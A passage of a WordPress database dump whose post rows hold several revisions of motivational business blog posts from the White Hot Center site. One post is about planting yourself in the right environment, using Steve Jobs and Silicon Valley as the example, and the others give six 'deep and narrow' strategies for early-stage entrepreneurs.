(2132, 2, '2012-08-07 11:19:11', '2012-08-07 18:19:11', '<img class="alignnone size-full wp-image-2125" title="the-right-dirt" src="http://whc.fbdev.org/wp-content/uploads/2012/08/feet-in-dirt.jpg" alt="" width="495" height="253" />\r\n<h1><span style="color: #ff6347;">The environment that surrounds you is critical to your success. Like anything that grows–the quality of the soil, the climate, and the attention paid to keeping out the bugs and weeds makes all the difference. To grow your business, you need to plant yourself in the right dirt.</span></h1>\r\nNature or nurture–which one determines your greater chances for success? Can you grow your business in a difficult environment? Can you succeed on talent and capability alone, regardless of the environment you find yourself in? How important is the soil you have chosen to plant yourself in to realizing your bigger future?\r\n\r\nIn my view, these questions are worth thinking about.\r\n\r\nRecently, I decided to drive across the country to visit colleagues and family. On the long drive from Southern California to Michigan I was listening to the audio book, <em>Steve Jobs by Walter Isaacson</em>. I’ve wanted to read it since it was published earlier this year but just never got around to it. Facing the four-day drive, the audio book was the perfect companion for my journey. I found the book very revealing and compelling.\r\n\r\nOf course the early chapters were devoted to Steve’s childhood, early education, and his family background. But what stood out for me in these early chapters was the fact that Steve Jobs grew up and became a product of Silicon Valley.\r\n\r\nThis resonated deeply with me because I too grew up in Silicon Valley at the very same time as Steve Jobs. He was two years younger than me. Our respective high schools were football rivals less than ten miles apart. As I listened to the audio book, I thought to myself how probable it was that we could have crossed paths at a football game.  Who knows?\r\n\r\nThe environment of Silicon Valley in the early 70s was a cauldron of intense innovation. Transformative ideas, still unformed, were percolating all around Steve Jobs. This environment proved to be fortuitous and a critical component to his success. He was raised in the right dirt, at precisely the right time.  His proximity to what was happening all around him during those formative years surely couldn’t be ignored. Not to diminish his visionary reputation, I think it would have been a different story had he been raised in rural Nebraska.\r\n\r\nThis got me thinking about the importance of environment to success–particularly in the early stages of your success. If you’re working to build your business from the ground up, it begins by planting yourself in the right place. You need to be surrounded by an environment that is supportive and conducive to your vision.\r\n\r\nIf you want to write music for film and television, you need to be hanging in the very place where all that happens–connecting and growing with like minded colleagues, and building your network with real connections to people who are making the decisions about who they want to work with. Whatever the activity of your business, you need to be in the right place to grow. If you’re not in the right place bumping into opportunities that are available by the geography, then move there.\r\n<h2><strong>At the beginning of your business success, don’t be afraid to pick up everything and move to a better fishin hole.</strong></h2>\r\nDespite our growing virtual connections and dependence on social media tools, being in the right soil making influential connections and building lasting relationships with real people is more essential than ever. Call me old-school if you like, but if you have the talent and capability to manifest your vision, then you need to consider where the best dirt for you is located then go plant yourself there!\r\n\r\n&nbsp;', 'Plant yourself in the right dirt.', 0, '', 'inherit', 'open', 'open', '', '2124-revision-7', '', '', '2012-08-07 11:19:11', '2012-08-07 18:19:11', '', 2124, 'http://www.whitehotcenter.com/2012/08/2124-revision-7/', 0, 'revision', '', 0),
(2133, 2, '2012-08-07 11:25:00', '2012-08-07 18:25:00', '<img class="alignnone size-full wp-image-2125" title="the-right-dirt" src="http://whc.fbdev.org/wp-content/uploads/2012/08/feet-in-dirt.jpg" alt="" width="495" height="253" />\n<h1><span style="color: #ff6347;">The environment that surrounds you is critical to your success. Like anything that grows–the quality of the soil, the climate, and the attention paid to keeping out the bugs and weeds makes all the difference. To grow your business, you need to plant yourself in the right dirt.</span></h1>\nNature or nurture–which one determines your greater chances for success? Can you grow your business in a difficult environment? Can you succeed on talent and capability alone, regardless of the environment you find yourself in? How important is the soil you have chosen to plant yourself in to realizing your bigger future?\n\nIn my view, these questions are worth thinking about.\n\nRecently, I decided to drive across the country to visit colleagues and family. On the long drive from Southern California to Michigan I was listening to the audio book, <em>Steve Jobs by Walter Isaacson</em>. I’ve wanted to read it since it was published earlier this year but just never got around to it. Facing the four-day drive, the audio book was the perfect companion for my journey. I found the book very revealing and compelling.\n\nOf course the early chapters were devoted to Steve’s childhood, early education, and his family background. But what stood out for me in these early chapters was the fact that Steve Jobs grew up and became a product of Silicon Valley.\n\nThis resonated deeply with me because I too grew up in Silicon Valley at the very same time as Steve Jobs. He was two years younger than me. Our respective high schools were football rivals less than ten miles apart. As I listened to the audio book, I thought to myself how probable it was that we could have crossed paths at a football game.  Who knows?\n\nThe environment of Silicon Valley in the early 70s was a cauldron of intense innovation. Transformative ideas, still unformed, were percolating all around Steve Jobs. This environment proved to be fortuitous and a critical component to his success. He was raised in the right dirt, at precisely the right time.  His proximity to what was happening all around him during those formative years surely couldn’t be ignored. Not to diminish his visionary reputation, I think it would have been a different story had he been raised in rural Nebraska.\n\nThis got me thinking about the importance of environment to success–particularly in the early stages of your success. If you’re working to build your business from the ground up, it begins by planting yourself in the right place. You need to be surrounded by an environment that is supportive and conducive to your vision.\n\nIf you want to write music for film and television, you need to be hanging in the very place where all that happens–connecting and growing with like minded colleagues, and building your network with real connections to people who are making the decisions about who they want to work with. Whatever the activity of your business, you need to be in the right place to grow. If you’re not in the right place bumping into opportunities that are available by the geography, then move there.\n<h2><strong>At the beginning of your business success, don’t be afraid to pick up everything and move to a better fishin hole.</strong></h2>\nDespite our growing virtual connections and dependence on social media tools, being in the right soil making influential connections and building lasting relationships with real people is more essential than ever. Call me old-school if you like, but if you have the talent and capability to manifest your vision, then you need to consider where the best dirt for you is located then go plant yourself there!\n\n&nbsp;', 'Plant yourself in the right dirt.', 0, '', 'inherit', 'open', 'open', '', '2124-autosave', '', '', '2012-08-07 11:25:00', '2012-08-07 18:25:00', '', 2124, 'http://www.whitehotcenter.com/2012/08/2124-autosave/', 0, 'revision', '', 0),
(2158, 2, '2012-08-27 07:58:03', '2012-08-27 14:58:03', '', 'brightformat-lead', 0, '', 'inherit', 'open', 'open', '', 'brightformat-lead', '', '', '2012-08-27 07:58:03', '2012-08-27 14:58:03', '', 2157, 'http://www.whitehotcenter.com/wp-content/uploads/2012/08/brightformat-lead.jpg', 0, 'attachment', 'image/jpeg', 0),
(2136, 2, '2012-08-12 06:50:36', '2012-08-12 13:50:36', '<a href="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg"><img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" /></a>\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs and solo professionals to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur or a solo professional at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. At this point in your entrepreneurial journey, you are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce. Your love for what you are doing is essential for your motivation, but by itself, loving what you do won''t create a customer.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about getting your business to the next level, I’m sure these questions swirl around inside your head on a daily basis.  If you want to build a sustainable and profitable business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs and solo professionals, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing your business in ways that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Strategy One–As you think, so it becomes.</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way. Your philosophy is the beginning of everything and determines the outcome of everything!\r\n\r\n<strong><em>Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em> Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.<strong><em></em></strong>\r\n\r\n<strong><em>Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first. If you want more clients, be more to the clients you currently work for.\r\n<h2><strong>Go deep and narrow into these strategies and take a quantum leap in your progress.</strong></h2>\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n<em> </em>\r\n\r\n<em>If you want to go deeper with these ideas, the WHC is planning a Quantum Leap Business Transformation Workshop in November 2013 in Ojai, California. <a title="Quantum Leap Workshop Registration" href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a></em>\r\n\r\n</div>', 'How to gain radical competitive advantage in a crowded marketplace.', 0, '', 'publish', 'open', 'open', '', 'deep-narrow', '', '', '2013-08-20 12:13:10', '2013-08-20 19:13:10', '', 0, 'http://www.whitehotcenter.com/?p=2136', 0, 'post', '', 0),
(2137, 2, '2012-08-12 06:31:12', '2012-08-12 13:31:12', '', 'deep & Narrow expertise', 0, '', 'inherit', 'open', 'open', '', 'deepnarrow2', '', '', '2012-08-12 06:31:12', '2012-08-12 13:31:12', '', 2136, 'http://www.whitehotcenter.com/wp-content/uploads/2012/08/deepnarrow2.jpg', 0, 'attachment', 'image/jpeg', 0),
(2138, 2, '2012-08-12 06:33:52', '2012-08-12 13:33:52', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\n<div>\n\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\n\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\n\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\n\n<strong>Love is not enough to guarantee your business success.</strong>\n\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\n\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\n\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\n\n<strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong>\n\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\n\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\n\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\n\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\n\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\n\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\n\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\n\n<strong>Go deep and narrow and take a quantum leap in your progress.</strong>\n\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\n\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\n\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision', '', '', '2012-08-12 06:33:52', '2012-08-12 13:33:52', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision/', 0, 'revision', '', 0);
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(2139, 2, '2012-08-12 06:35:59', '2012-08-12 13:35:59', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n\r\n<strong>Love is not enough to guarantee your business success.</strong>\r\n\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n\r\n<strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong>\r\n\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n\r\n<strong>Go deep and narrow and take a quantum leap in your progress.</strong>\r\n\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-2', '', '', '2012-08-12 06:35:59', '2012-08-12 13:35:59', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-2/', 0, 'revision', '', 0),
(2140, 2, '2012-08-12 06:36:14', '2012-08-12 13:36:14', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n\r\n<strong>Love is not enough to guarantee your business success.</strong>\r\n\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n\r\n<strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong>\r\n\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe 